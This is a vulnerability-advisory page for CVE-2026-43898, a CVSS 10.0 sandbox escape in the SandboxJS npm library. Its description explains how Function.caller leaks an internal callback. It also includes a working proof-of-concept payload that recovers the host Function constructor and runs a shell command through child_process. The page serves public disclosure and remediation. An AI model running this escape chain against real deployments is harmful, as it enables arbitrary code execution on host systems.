Skip to main content

EUVD-2026-32968

| CVE-2026-43898 CRITICAL
Code Injection (CWE-94)
2026-05-11 https://github.com/nyariv/SandboxJS GHSA-g8f2-4f4f-5jqw
10.0
CVSS 3.1
Share

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

1
CVE Published
May 11, 2026 - 19:40 nvd
CRITICAL 10.0

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 npm packages depend on @nyariv/sandboxjs (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 0.9.6.

DescriptionNVD

Summary

Sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript.

Details

In executorUtils.ts createFunction() constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe:

js
function f(){ return f.caller }

That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal LispType.Call op, which is registered in call.ts. The leaked callback accepts a params object from the attacker and uses its fields without any authentication checks. if you looked at those branches call.ts:47, call.ts:70, call.ts:149. This means the attacker controls obj.context, obj.prop, obj.get, context.evals.get and a. This can lead to direct invocation of an internal primitive with forged operands

PoC

js
const sandb = require('@nyariv/sandboxjs').default;
const sand = new sandb();

const payload = `
const callOp = (function fn() { return fn.caller; })();

function makeContext(capture = () => {}) {
  return { ctx: { options: 0 }, evals: { get: capture } };
}

function leakStatic(obj, prop) {
  let leaked;
  callOp({
    done() {},
    a() {},
    b: [],
    obj: { context: obj, prop, get() {} },
    context: makeContext((fn) => (leaked = fn, () => 1))
  });
  return leaked;
}

function callDirect(fn, args) {
  let value;
  callOp({
    done(_, result) { value = result; },
    a() {},
    b: args,
    obj: fn,
    context: makeContext()
  });
  return value;
}

callDirect(leakStatic(Object, 'defineProperty'), [
  leakStatic,
  'call',
  callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [
    callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),
    'constructor'
  ])
]);

let hostFn;
callOp({
  done(_, result) { hostFn = result; },
  a: leakStatic,
  b: [],
  obj: {
    context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()',
    get() {}
  },
  context: makeContext()
});

return hostFn();
`;

console.log(sand.compile(payload)().run());

Impact

_Sandbox escape leads to RCE_

Analysis

{ return f.caller } That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal LispType.Call op, which is registered in [call.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L16-L17). …

Sign in for full analysis, threat intelligence, and remediation guidance.

Share

EUVD-2026-32968 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy